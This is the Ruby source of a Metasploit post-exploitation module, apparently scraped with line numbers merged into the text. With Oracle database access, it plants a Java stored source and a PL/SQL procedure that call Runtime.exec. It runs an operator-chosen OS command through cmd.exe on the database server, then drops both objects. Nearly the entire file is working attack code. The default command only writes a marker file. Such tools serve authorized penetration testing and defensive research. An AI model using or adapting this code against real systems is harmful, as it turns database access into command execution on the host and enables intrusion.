Path: blob/master/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle Java execCommand (Win32)',13'Description' => %q{14This module will create a java class which enables the execution of OS commands.15},16'Author' => [ 'MC' ],17'License' => MSF_LICENSE,18'References' => [19[ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],20],21'DisclosureDate' => '2007-12-07',22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],25'Reliability' => []26}27)28)2930register_options(31[32OptString.new('CMD', [ false, 'The OS command to execute.', 'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),33]34)35end3637def run38return if !check_dependencies3940source = Rex::Text.rand_text_alpha_upper(1..10)41name = Rex::Text.rand_text_alpha_upper(1..10)4243java = "44create or replace and resolve java source named \"#{source}\" as45import java.lang.*;46import java.io.*;47public class #{source}48{49public static void execCommand (String command) throws IOException50{51Runtime.getRuntime().exec(command);52}53};54"5556procedure = "57create or replace procedure #{name} (p_command in varchar2)58as language java59name '#{source}.execCommand (java.lang.String)';60"6162exec = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"6364drops = "drop java source #{source}"6566dropp = "drop procedure #{name}"6768begin69print_status("Creating java source '#{source}'...")70prepare_exec(java)71rescue StandardError72return73end7475print_status("Creating procedure '#{name}'...")76prepare_exec(procedure)7778print_status("Sending command: '#{datastore['CMD']}'")79prepare_exec(exec)8081print_status("Removing java source '#{source}'...")82prepare_exec(drops)8384print_status("Removing procedure '#{name}'...")85prepare_exec(dropp)86end87end888990